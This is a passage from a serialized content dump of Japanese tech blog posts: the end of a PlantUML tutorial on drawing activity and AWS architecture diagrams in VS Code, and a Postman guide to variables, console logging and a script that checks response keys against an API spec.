Extensionを選択し、PlantUMLをインストールします。",[11,18247,18248],{},"2. PlantUMLのExtension settingを開き、下記のように設定します。",[31,18250,18251,18254],{},[34,18252,18253],{},"Plantuml: Render => PlantUMLServer",[34,18255,18256,18257],{},"Plantuml: Server => ",[57,18258,18259],{"href":18259,"rel":18260},"http:\u002F\u002Flocalhost:8080",[61],[495,18262,11778],{"id":11778},[660,18264,18265],{"id":18265},"編集をしながらプレビューを表示",[11,18267,18268],{},"1. UMLファイル(*******.uml)をVScodeで作成し、下記のコードをコピーペーストしてください。",[696,18270,18273],{"className":18271,"code":18272,"language":701},[699],"@startuml \nstart \nrepeat \n:Test something; \nif (Something went wrong?) then (no) \n#palegreen:OK; \nbreak \nendif \n->NOK; \n:Alert \"Error with long text\"; \nrepeat while (Something went wrong with long text?) is (yes) not (no) \n->\u002F\u002Fmerged step\u002F\u002F; \n:Alert \"Success\"; \nstop \n@enduml\n",[703,18274,18272],{"__ignoreMap":64},[11,18276,18277],{},"2. VScodeのコマンドパネルから\"PlantUML:Preview Current Diagram\"を選択します。",[530,18279],{"className":18280,"alt":64,"src":18281,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174035\u002Fimage-20211029165031071-768x259.png",[11,18283,18284],{},"3. プレビュー画面が表示されます。",[530,18286],{"className":18287,"alt":64,"src":18288,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174105\u002Fimage-20211029171040393-768x749.png",[660,18290,18291],{"id":18291},"図を出力",[11,18293,18294],{},"1. VScodeのコマンドパネルから\"PlantUML: Export Current File Diagrams\"を選択します。",[11,18296,18297],{},"2. pngを選択します。",[11,18299,18300],{},"3. outフォルダが作成されその下に画像ファイルが出力されます。",[11,18302,18303],{},"アクティビティ図以外にも、シーケンス図やユースケース図、クラス図も作成可能でサンプルもPlantUMLのサイトに記載されているので、参考にしてください。",[495,18305,18307],{"id":18306},"awsサービスを使ったシステム構成図の作成","AWSサービスを使ったシステム構成図の作成",[11,18309,18310],{},"PlantUML上でAWSのICONが使用できるようGitHubで提供してくれています。",[11,18312,18313,18314,18319,18320,18325],{},"以前は",[57,18315,18318],{"href":18316,"rel":18317},"https:\u002F\u002Fgithub.com\u002Fmilo-minderbinder\u002FAWS-PlantUML",[61],"AWS-PlantUML","が使用されていたようですが、最近更新が行われていないようです。その代わりとして、",[57,18321,18324],{"href":18322,"rel":18323},"https:\u002F\u002Fgithub.com\u002Fawslabs\u002Faws-icons-for-plantuml",[61],"aws-icons-for-plantuml","を使用したいと思います。",[11,18327,18328],{},"こちらを利用した構成図は下記となっています。",[696,18330,18333],{"className":18331,"code":18332,"language":701},[699],"@startuml aws-sample-system-diagram  \n\n!define AWSPuml https:\u002F\u002Fraw.githubusercontent.com\u002Fawslabs\u002Faws-icons-for-plantuml\u002Fv11.1\u002Fdist \n!includeurl AWSPuml\u002FAWSCommon.puml \n!includeurl AWSPuml\u002FNetworkingContentDelivery\u002FElasticLoadBalancingApplicationLoadBalancer.puml \n!includeurl AWSPuml\u002FGroupIcons\u002FRegion.puml \n!includeurl AWSPuml\u002FNetworkingContentDelivery\u002FRoute53.puml \n!includeurl AWSPuml\u002FCompute\u002Fall.puml \n!includeurl AWSPuml\u002FStorage\u002FSimpleStorageService.puml \n!includeurl AWSPuml\u002FDatabase\u002FAuroraMySQLInstance.puml \n!includeurl AWSPuml\u002FDatabase\u002FElastiCacheElastiCacheforRedis.puml  \n\nleft to right direction  \n\nactor \"Person\" as personAlias \nRegion(cloudArea, \"Tokyo\", \"AWS\", \"\"){ \nRoute53(route53, \"Sample.com\", \"Route53\", \"\") \nElasticLoadBalancingApplicationLoadBalancer(elb, \"Production-ALB\", \"ALB\", \"\") \nEC2Instance(desktopAlias, \"Production-ec2\", \"EC2\", \"t3.micro \\n amazon linux2\") \nSimpleStorageService(storageAlias, \"Production-s3\", \"AmazonS3\", \"Host name \\n public\") \nAuroraMySQLInstance(rds,\"Database\",\"RDS Mysql\",\"Host name \\n DB name\") \nElastiCacheElastiCacheforRedis(redis,\"Redis\",\"Elastic Cache\",\"Host name\") \n}  \n    \npersonAlias --> route53 \nroute53 --> elb \nelb --> desktopAlias\nelb --> storageAlias \ndesktopAlias --> storageAlias \ndesktopAlias --> redis \nrds \u003C--> desktopAlias \n@enduml\n",[703,18334,18332],{"__ignoreMap":64},[530,18336],{"className":18337,"alt":64,"src":18338,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174825\u002Faws-sample-system-diagram-768x383.png",[11,18340,18341,18342,18347],{},"その他使用したいアイコンの一覧はトップフォルダの",[57,18343,18346],{"href":18344,"rel":18345},"https:\u002F\u002Fgithub.com\u002Fawslabs\u002Faws-icons-for-plantuml\u002Fblob\u002Fmain\u002FAWSSymbols.md",[61],"AWSSymbols.md","に記載されています。",[495,18349,18350],{"id":18350},"感想",[11,18352,18353],{},"VScodeで作成できることからソフトウェアライセンスの購入を気にせず、他者と共同作業が行いやすいです。またバージョン管理もしやすくなります。",[11,18355,18356],{},"図の微調整ができず、上から下に書くか、左から右に書くかといった選択しかできないです。",[11,18358,18359],{},"そのため、説明を受ける人が許容できなければ利用はしない方が良いでしょう。",[11,18361,18362],{},"ただ、私としては細かい調整ができないということで割り切って図を作成することができ、余計なことを考えず説明に必要なものだけを書き、効率よく集中して作業ができると考えてます。",[495,18364,18365],{"id":18365},"補足",[11,18367,18368,18369,18374],{},"ローカルに環境を構築したくないという人はPlantUMLのサイトの",[57,18370,18373],{"href":18371,"rel":18372},"http:\u002F\u002Fwww.plantuml.com\u002Fplantuml\u002Fuml\u002FSyfFKj2rKt3CoKnELR1Io4ZDoSa70000",[61],"demo","があるため、そちらを試してもらえればと思います。",[11,18376,18377],{},"また、Dockerを使わなくてもVScodeのPlantuml: Renderの設定で、PlantUMLのサイトのURLを設定すればPreviewを使用することができます。ただ、PlantUMLのサイトを使う場合、作成するものが機密情報として扱われているものかどうか考えてから利用される方が良いと思います。",[495,18379,13572],{"id":13572},[11,18381,18382],{},[57,18383,18386],{"href":18384,"rel":18385},"https:\u002F\u002Fplantuml.com\u002F",[61],"PlantUML",[11,18388,18389],{},[57,18390,18393],{"href":18391,"rel":18392},"https:\u002F\u002Fnote.com\u002Fkeyskey1021\u002Fn\u002Fn12cb62301f68",[61],"Visual Studio Codeでプレビューを見ながらPlantUMLを書ける環境をDockerで作る",[11,18395,18396],{},[57,18397,18324],{"href":18322,"rel":18398},[61],{"title":64,"searchDepth":65,"depth":65,"links":18400},[18401,18402,18406,18410,18411,18412,18413],{"id":18195,"depth":65,"text":18196},{"id":18208,"depth":65,"text":18208,"children":18403},[18404,18405],{"id":18211,"depth":1375,"text":18212},{"id":18241,"depth":1375,"text":18242},{"id":11778,"depth":65,"text":11778,"children":18407},[18408,18409],{"id":18265,"depth":1375,"text":18265},{"id":18291,"depth":1375,"text":18291},{"id":18306,"depth":65,"text":18307},{"id":18350,"depth":65,"text":18350},{"id":18365,"depth":65,"text":18365},{"id":13572,"depth":65,"text":13572},"2021-11-12","PlantUMLについて ウォータフロー、アジャイルを問わずソフトウェア開発においてUML図を用いて要件や構成、機能の説明を行うことは多々あります。 ただ、図を用いたドキュメントはテキストエディタではなく、描画用のアプリケーションを用いられることが多く、バージョン毎の差異がわかりにくいといったことがあります。 PlantUMLを使うとコードベースで作成でき、それを元に図を作成するため差分がわかりやすく、バージョン管理を行いやすいと思われます。",{},"\u002Fja\u002Fnews\u002Fplantuml",{"title":18190,"description":18415},"ja\u002Fnews\u002Fplantuml","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F03135600\u002FPlantuml_Logo_M.png","dj0TdyRE9HCAEdK2a9pOAsGJAZYEv33dB0zLspWH12g",{"id":18423,"title":18424,"body":18425,"category":1388,"created by":68,"date":19110,"description":19111,"extension":71,"meta":19112,"navigation":73,"path":19113,"sections":75,"seo":19114,"stem":19115,"thumbnail":19116,"__hash__":19117},"content_ja\u002Fja\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich.md","POSTMANおよびその有益な各機能",{"type":8,"value":18426,"toc":19101},[18427,18434,18437,18440,18444,18447,18454,18458,18461,18465,18469,18472,18487,18490,18493,18497,18508,18519,18526,18533,18538,18542,18546,18552,18559,18564,18568,18572,18589,18593,18602,18607,18612,18617,18622,18632,18636,18640,18645,18659,18664,18670,18674,18679,18688,18693,18696,18701,18705,18710,18715,18719,18723,18726,18732,18736,18744,18754,18762,18771,18782,18807,18810,18825,18829,18838,18842,18848,18851,18855,18863,18866,18871,18874,18885,18889,18899,18907,18916,18925,18931,18948,18960,18974,18978,18987,19000,19006,19010,19016,19027,19030,19034,19040,19051,19054,19058,19064,19076,19079,19083,19089,19095],[11,18428,18429,18430,18433],{},"POSTMANは、2012年に初めてリリースされ、約10年間にわたって2,500万人以上のユーザーを獲得し、API（アプリケーション・プログラミング・インターフェイスという",[20,18431,18432],{},"Application Programming Interface","の略）のテストに使われる最も人気のあるツールとなっています。",[11,18435,18436],{},"POSTMANは、HTTPのPOST・PUT・GET・DELETEメソッドによるリクエスト送信、JSON・XML形式での返却データ確認、Collection機能によるリクエスト管理、インポート・エクスポート機能によるデータ共有といった多種多様な機能を提供してくれるので、 プログラミングの知識を持たない者でも簡易に使えます。",[11,18438,18439],{},"長い間、POSTMANの基本的な機能を使った皆さんは、より高度な機能についても習得したいかもしれません。では、本記事で弊社の共有する有益な情報を見逃さないようお願いいたします。",[495,18441,18443],{"id":18442},"_1postmanインストール","1.POSTMANインストール",[11,18445,18446],{},"POSTMANは、オープン ソース ツールであり、以下のリンクからは簡易にダウンロードしてインストールできます。",[11,18448,18449,18450],{},"ホームページ：",[57,18451,18452],{"href":18452,"rel":18453},"https:\u002F\u002Fwww.postman.com\u002Fdownloads\u002F",[61],[495,18455,18457],{"id":18456},"_2postmanの有益な各機能","2.POSTMANの有益な各機能",[11,18459,18460],{},"POSTMANは、本記事の冒頭で述べた基本的な機能に加え、次のような有益な各機能を提供してくれます。",[660,18462,18464],{"id":18463},"_21-変数設定","2.1 変数設定",[1750,18466,18468],{"id":18467},"_211-なぜ変数を利用するのか","2.1.1 なぜ変数を利用するのか？",[11,18470,18471],{},"同一プロジェクトの各リクエストについて、URLのドメイン名やAuthorizationの値など、共用したり、宣言を繰り返したりする値が多くあります。",[11,18473,18474,18475,18480,18481,18486],{},"ドメイン名やAuthorizationの値が新しい値に更新された場合、リクエストごとにその新しい値を反映する必要があるので、手間がかかり、過失が発生しやすくなります。 例：一次でサイトのURLは「",[57,18476,18479],{"href":18477,"rel":18478},"https:\u002F\u002Fapi-example1.com\u002F%E3%80%8D",[61],"https:\u002F\u002Fapi-example1.com\u002F」"," と命名されましたが、二次でサイトのURLが「",[57,18482,18485],{"href":18483,"rel":18484},"https:\u002F\u002Fapi-example2.com\u002F%E3%80%8D",[61],"https:\u002F\u002Fapi-example2.com\u002F」"," に変更されます。 その際、すべてのリクエストの新しいドメイン名を反映する必要があるので、手間がかなりかかりそうです。",[11,18488,18489],{},"POSTMANは、この問題を解決するために、Global変数、Collection変数、Environment変数、Data変数、Local変数の5変数が用意されています。変数を使用することによって、URLのドメイン名やAuthorizationの値などの情報を変更した場合、変数を宣言した個所にアクセスし、その変数を新しい値に変更さえすれば、その変数を呼び出しているすべてのリクエストに、最新の値が自動的に反映されます。",[11,18491,18492],{},"本記事では、Collectionの範囲内で変数を宣言する方法について説明いたします。（他の変数の宣言方法が同じなので飛ばさせていただきます。） この変数は、宣言されたCollection、および、そのCollection内のリクエスト内でのみ有効になります。",[1750,18494,18496],{"id":18495},"_212-postmanのcollectionでの変数宣言","2.1.2 POSTMANのCollectionでの変数宣言",[11,18498,18499,18500,18503,18504,18507],{},"ステップ１：",[20,18501,18502],{},"Collection","名の右にある「・・・」アイコンを押下し、",[20,18505,18506],{},"Edit","を選択",[11,18509,18510,18511,18514,18515,18518],{},"ステップ２：",[20,18512,18513],{},"Edit Collection","ドロップダウンメニューで",[20,18516,18517],{},"Variables","タブを選択",[11,18520,18521,18522,18525],{},"ステップ３：",[20,18523,18524],{},"VARIABLE","欄に変数名を入力",[11,18527,18528,18529,18532],{},"ステップ４：",[20,18530,18531],{},"CURRENT VALUE","欄に変数に値を入力",[11,18534,18535,18536,6840],{},"ステップ５：",[20,18537,9969],{},[530,18539],{"className":18540,"alt":64,"src":18541,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27104559\u002FLine-22_Khai-b%c3%a1o-bi%e1%ba%bfn_JP.png",[1750,18543,18545],{"id":18544},"_213-requestでの変数呼出","2.1.3 Requestでの変数呼出",[11,18547,18499,18548,18551],{},[20,18549,18550],{},"Request","ファイルを開く",[11,18553,18554,18555,18558],{},"ステップ２： ",[703,18556,18557],{},"{{variable_name}}","形式で変数を呼び出す",[11,18560,18521,18561,18563],{},[20,18562,9969],{},"ボタンを押下",[530,18565],{"className":18566,"alt":64,"src":18567,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27104947\u002FLine-27_G%E1%BB%8Di-bi%e1%ba%bfn_JP.png",[660,18569,18571],{"id":18570},"_22-consoleウィンドウ","2.2 Consoleウィンドウ",[11,18573,18574,18575,18577,18578,18580,18581,18584,18585,18588],{},"通常、",[20,18576,745],{},"タブで返却される値を確認します。 しかし、返却されるパラメータの数量が多い場合は、",[20,18579,745],{},"タブで結果を確認することがややこしくなり、下部の情報を確認するために何度もマウスのスクロールをする必要があります。 この問題を解決するには、",[703,18582,18583],{},"console.log(pm.response.json())","コマンドを使用することで返却される値を",[20,18586,18587],{},"Console","ウィンドウに出力し、そこで返却情報を確認します。",[1750,18590,18592],{"id":18591},"_221-consolelogpmresponsejsonコマンドによる返却情報の出力","2.2.1 console.log(pm.response.json())コマンドによる返却情報の出力",[11,18594,18595,18596,18598,18599,18601],{},"ステップ１：画面の左下部にある",[20,18597,18587],{},"アイコンを押下し、",[20,18600,18587],{},"ウィンドウを開く",[11,18603,18510,18604,18518],{},[20,18605,18606],{},"Tests",[11,18608,18521,18609,18611],{},[703,18610,18583],{},"コマンドを作成",[11,18613,18528,18614,18563],{},[20,18615,18616],{},"Send",[11,18618,18535,18619,18621],{},[20,18620,18587],{},"ウィンドウで出力された返却情報を確認",[11,18623,18624,18625,18627,18628,18631],{},"ステップ６：",[20,18626,18587],{},"ウィンドウの右側にある",[20,18629,18630],{},"Clear","ボタンを押下することで出力された情報を削除",[530,18633],{"className":18634,"alt":64,"src":18635,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105042\u002FLine-37_C%E1%BB%ADa-s%e1%bb%95-Console_JP-1024x515.png",[1750,18637,18639],{"id":18638},"_222-consolelogpmresponsejsonコマンド","2.2.2 console.log(pm.response.json())コマンド",[11,18641,18642,18644],{},[703,18643,18583],{},"コマンドは次の二つの要素から構成されます。",[31,18646,18647,18653],{},[34,18648,18649,18652],{},[703,18650,18651],{},"console.log()","：呼び出された対象の値を出力するための関数",[34,18654,18655,18658],{},[703,18656,18657],{},"pm.response.json()","：Bodyで返却された情報を抽出するためにPOSTMANで定義された構文",[11,18660,18661],{},[20,18662,18663],{},"例１： Bodyのレスポンスがオブジェクトであり、Bodyの情報をすべて出力する場合",[11,18665,18666,18667,18669],{},"→ ",[703,18668,18583],{},"コマンドを利用します。",[530,18671],{"className":18672,"alt":64,"src":18673,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105125\u002FLine-43_C%C3%A2u-l%e1%bb%87nh-console.log_V%C3%AD-d%e1%bb%a5-1_JP-1024x657.png",[11,18675,18676],{},[20,18677,18678],{},"例２：Bodyのレスポンスが配列であり、Bodyの情報をすべて出力する場合",[11,18680,18666,18681,18683,18684],{},[703,18682,18583],{},"コマンドを利用します。\n",[530,18685],{"className":18686,"alt":64,"src":18687,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105205\u002FLine-45_C%C3%A2u-l%e1%bb%87nh-console.log_V%C3%AD-d%e1%bb%a5-2_JP-1024x574.png",[11,18689,18690],{},[20,18691,18692],{},"例３：Bodyのレスポンスが配列であり、配列の最初のオブジェクトの情報のみを出力する場合",[11,18694,18695],{},"レスポンスパラメータの数量や性質上、配列の各オブジェクトが同等なので、一つの代表的なオブジェクトを確認して良いです。",[11,18697,18666,18698,18669],{},[703,18699,18700],{},"console.log(pm.response.json()[0])",[530,18702],{"className":18703,"alt":64,"src":18704,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105257\u002FLine-49_C%C3%A2u-l%e1%bb%87nh-console.log_V%C3%AD-d%e1%bb%a5-3_JP-1024x717.png",[11,18706,18707],{},[20,18708,18709],{},"例４：Bodyのレスポンスがオブジェクトであり、指定したレスポンスパラメーターの値を出力する場合",[11,18711,18666,18712,18669],{},[703,18713,18714],{},"console.log(pm.response.json().{response parameter name})",[530,18716],{"className":18717,"alt":64,"src":18718,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105326\u002FLine-52_C%C3%A2u-l%e1%bb%87nh-console.log_V%C3%AD-d%e1%bb%a5-4_JP-1024x550.png",[660,18720,18722],{"id":18721},"_23-レスポンスパラメータのテストに使われるスクリプト","2.3 レスポンスパラメータのテストに使われるスクリプト",[11,18724,18725],{},"検索系APIについて返却されるレスポンスパラメータにAPI設計書に記載されたレスポンスパラメータとを比べて、過不足がある場合もあります。この場合においては、下記のスクリプトを使うことで、APIから返却されるレスポンスパラメータと、設計書に記載されるスポンスパラメータとがオブジェクト単位で同じであることを確認できます。",[696,18727,18730],{"className":18728,"code":18729,"language":701},[699],"let expectedKeys = []\nlet returnKeys = Object.keys(pm.response.json())\nfunction checkReturnKeys(expectedKeys,returnKeys){\n    let duplicatedExpectedKeysAray = expectedKeys.filter((item,index) => {\n        return expectedKeys.indexOf(item) !== index})\n    if (duplicatedExpectedKeysAray.length === 0) {\n        let missExpectedKeys = expectedKeys.filter((item) => !returnKeys.includes(item))\n        let redundantExpectedKeys = returnKeys.filter((item) => !expectedKeys.includes(item))\n        if(!_.isEqual(expectedKeys,returnKeys)){\n            if(missExpectedKeys.length !== 0 && redundantExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, such as: '+redundantExpectedKeys+'. Please check again.')\n            }else if(missExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n            }else{\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, such as: '+redundantExpectedKeys+'. Please check again.')\n            }\n            return false;\n        }else{\n            console.log('The parameters returned from the API match those described in the specification.')\n            return true;\n        }\n    }else{\n        console.log('The expectedKeys array contains elements with duplicate names, such as: '+ duplicatedExpectedKeysAray+'. Please check again.')\n    }\n}\npm.test(\"Check return keys\", () => {\n    pm.expect(checkReturnKeys(expectedKeys.sort(),returnKeys.sort())).eql(true);\n});\n",[703,18731,18729],{"__ignoreMap":64},[1750,18733,18735],{"id":18734},"_231-上記のスクリプトの仕組み","2.3.1 上記のスクリプトの仕組み",[31,18737,18738],{},[34,18739,18740,18741],{},"１行目：",[703,18742,18743],{},"let expectedKeys = []",[11,18745,18666,18746,18749,18750,18753],{},[20,18747,18748],{},"expectedKeys","は、",[20,18751,18752],{},"期待結果","であり、API設計書から抽出されたレスポンスパラメータ名の要素を含む配列です。",[31,18755,18756],{},[34,18757,18758,18759],{},"２行目：",[703,18760,18761],{},"let returnKeys = Object.keys(pm.response.json())",[11,18763,18666,18764,18749,18767,18770],{},[20,18765,18766],{},"returnKeys",[20,18768,18769],{},"実際結果","であり、APIから返却されたレスポンスパラメータ名の要素を含む配列です。",[31,18772,18773],{},[34,18774,18775,18776,18778,18779,18781],{},"このスクリプトの目的としては、",[20,18777,18748],{},"配列（期待結果）と",[20,18780,18766],{},"配列（実際結果）との要素を比較して同じであるか確認するためです。",[11,18783,18784,18785,18788,18789,18794,18795,18797,18798,18788,18800,18803,18804,18806],{},"→ 全く同じである場合は、",[20,18786,18787],{},"Test Results","タブで結果が",[18790,18791,18793],"b",{"style":18792},"color:green","PASS"," と返却され、",[20,18796,18587],{},"タブに通知メッセージが表示されます。 → 全然同じでない場合は、",[20,18799,18787],{},[18790,18801,18802],{"style":17440},"FAIL","と返却され、",[20,18805,18587],{},"タブに通知メッセージが表示されます。",[11,18808,18809],{},"そのため、上記のスクリプトを実行する前に、次の二つの作業を行う必要があります。",[31,18811,18812,18819],{},[34,18813,18814,18815,18818],{},"１行目で、設計書からレスポンスパラメータ名の要素の全てを",[703,18816,18817],{},"[]","にコピー・ペーストする",[34,18820,18821,18822,18824],{},"２行目で、テスト対象のオブジェクトのレスポンスパラメータ名を正確に取得でるいように、",[703,18823,18657],{},"を変更する",[1750,18826,18828],{"id":18827},"_232-作業手順","2.3.2 作業手順",[11,18830,18831,18834,18835,18837],{},[20,18832,18833],{},"ステップ１","： POSTMANの",[20,18836,18606],{},"タブに上記のスクリプトをコピー・ペーストする",[530,18839],{"className":18840,"alt":64,"src":18841,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105423\u002FLine-69_Script_B%C6%B0%E1%BB%9Bc-1_JP-1024x455.png",[11,18843,18844,18847],{},[20,18845,18846],{},"ステップ２","：API設計書を開き、レスポンス部分に記載されるテスト対象のオブジェクトを確定してから、そのオブジェクトのレスポンスパラメータ名を抽出する 例：autoDisplaySearchId APIは、autoDisplayの親オブジェクトが一つあり、material、laminateなどの子オブジェクトがあります。",[11,18849,18850],{},"下記の画像は、autoDisplayの親オブジェクトのレスポンスパラメータを抽出する仕方を示します。",[530,18852],{"className":18853,"alt":64,"src":18854,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105514\u002FLine-72_script_B%C6%B0%E1%BB%9Bc-2_JP-1024x377.png",[11,18856,18857,18860,18861,18818],{},[20,18858,18859],{},"ステップ３","：ステップ２で抽出したレスポンスパラメータ名を上記のスクリプトの１行目の",[703,18862,18817],{},[11,18864,18865],{},"例：\nコピー・ペースト前",[11,18867,18868,18869],{},"let expectedKeys = ",[703,18870,18817],{},[11,18872,18873],{},"コピー・ペースト後",[11,18875,18868,18876,602,18879,602,18882],{},[703,18877,18878],{},"[\"id\",\"type\",\"code\",\"name\",\"width1\",\"width2\",\"paste\",\"unit\",\"laminateType\",",[703,18880,18881],{},"\"sort\",\"supplier\",\"maker\",\"settingDate\",\"beforeUnit\",\"comment\",\"disableFlag\",\"createdAt\",\"createdBy\",",[703,18883,18884],{},"\"createdUserName\",\"updatedAt\",\"updatedBy\",\"updatedUserName\"]",[530,18886],{"className":18887,"alt":64,"src":18888,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27105543\u002FLine-75_script_B%C6%B0%E1%BB%9Bc-3_JP-1024x573.png",[11,18890,18891,18894,18895,18898],{},[20,18892,18893],{},"ステップ４","：上記のスクリプトの２行目にある",[703,18896,18897],{},"returnKeys = Object.keys(pm.response.json())","をテスト対象のオブジェクトに合わせるように変更する",[11,18900,18901,18904,18905],{},[20,18902,18903],{},"例１","：オブジェクトを返却するautoDisplaySearchId APIのテスト対象がautoDisplayオブジェクトの場合、以下のようにする ",[703,18906,18897],{},[11,18908,18909,18912,18913],{},[20,18910,18911],{},"例２","：オブジェクトを返却するautoDisplaySearchId APIのテスト対象がmaterialオブジェクトの場合、以下のようにする ",[703,18914,18915],{},"returnKeys = Object.keys(pm.response.json().material)",[11,18917,18918,18921,18922],{},[20,18919,18920],{},"例３","：配列を返却するautoDisplaySearch APIのテスト対象がautoDisplayオブジェクト の場合、以下のようにする ",[703,18923,18924],{},"returnKeys = Object.keys(pm.response.json()[0])",[11,18926,18927,18928],{},"例４：配列を返却するautoDisplaySearch APIのテスト対象がmaterialオブジェクトの場合、以下のようにする ",[703,18929,18930],{},"returnKeys = Object.keys(pm.response.json()[0].material)",[11,18932,18933,18935,18936,18938,18939,18941,18942,18944,18945,18947],{},[20,18934,18616],{},"ボタンを押下してリクエストを送信してから、",[20,18937,18787],{},"タブで",[18790,18940,18793],{"style":18792}," か",[18790,18943,18802],{"style":17440}," と返却される結果、",[20,18946,18587],{},"タブで表示される通知メッセージを確認します。",[11,18949,18950,18953,18954,18956,18957,18959],{},[20,18951,18952],{},"パターン１","：",[20,18955,18748],{},"配列と",[20,18958,18766],{},"配列との要素が全然同じ、すなわち、APIから返却されたパラメータと設計書に記載されるパラメータに過不足がない場合、以下の通りとなります。",[31,18961,18962,18968],{},[34,18963,18964,18965,18967],{},"Test Resultsタブ：",[18790,18966,18793],{"style":18792}," と表示",[34,18969,18970,18971],{},"Consoleタブ：下記のメッセージ表示 ",[703,18972,18973],{},"\"The parameters returned from the API match those described in the specification.\"",[530,18975],{"className":18976,"alt":64,"src":18977,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27110238\u002FLine-86_script_check-result_case1_JP-1024x444.png",[11,18979,18980,18983,18984,18986],{},[20,18981,18982],{},"パターン２","： ",[20,18985,18748],{},"配列に同じ名前の要素が含まれている場合、以下の通りとなります。",[31,18988,18989,18994],{},[34,18990,18964,18991,18993],{},[18790,18992,18802],{"style":17440},"と表示",[34,18995,18996,18997],{},"Consoleタブ：下記のメッセージ表示\n",[703,18998,18999],{},"\"The expectedKeys array contains elements with duplicate names, such as: {the same name element}. Please check again.\"",[11,19001,19002,19003,19005],{},"→ この場合においては、 ",[20,19004,18748],{},"配列から重複した要素を削除してからAPIを再実行します。",[530,19007],{"className":19008,"alt":64,"src":19009,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27110319\u002FLine-92_script_check-result_case2_JP-1024x447.png",[11,19011,19012,19015],{},[20,19013,19014],{},"パターン３","：APIからは設計書と比べて、過剰なレスポンスパラメータを返却する場合、以下の通りとなります。",[31,19017,19018,19022],{},[34,19019,18964,19020,18993],{},[18790,19021,18802],{"style":17440},[34,19023,18996,19024],{},[703,19025,19026],{},"\"Some parameters are being returned in the API response result that are not described in the specification, such as: {parameter name}. Please check again.\"",[11,19028,19029],{},"→ この場合においては、担当開発者に過剰なレスポンスパラメータを削除するように依頼してください。",[530,19031],{"className":19032,"alt":64,"src":19033,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27110352\u002FLine-98_script_check-result_case3_JP-1024x421.png",[11,19035,19036,19039],{},[20,19037,19038],{},"パターン４","：APIからは設計書と比べて、不足なレスポンスパラメータを返却する場合、以下の通りとなります。",[31,19041,19042,19046],{},[34,19043,18964,19044,18993],{},[18790,19045,18802],{"style":17440},[34,19047,18996,19048],{},[703,19049,19050],{},"\"Some parameters that are described in the specification are not being returned in the API response result, such as: {parameter name}. Please check again.\"",[11,19052,19053],{},"→ この場合においては、担当開発者に不足なパラメータを補足するように依頼してください。",[530,19055],{"className":19056,"alt":64,"src":19057,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F27110412\u002FLine-104_script_check-result_case4_JP-1024x422.png",[11,19059,19060,19063],{},[20,19061,19062],{},"パターン５","：APIからは設計書と比べて、過不足なレスポンスパラメータを返却する場合、以下の通りとなります。",[31,19065,19066,19070],{},[34,19067,18964,19068,18993],{},[18790,19069,18802],{"style":17440},[34,19071,18996,19072,602,19074],{},[703,19073,19026],{},[703,19075,19050],{},[11,19077,19078],{},"→ 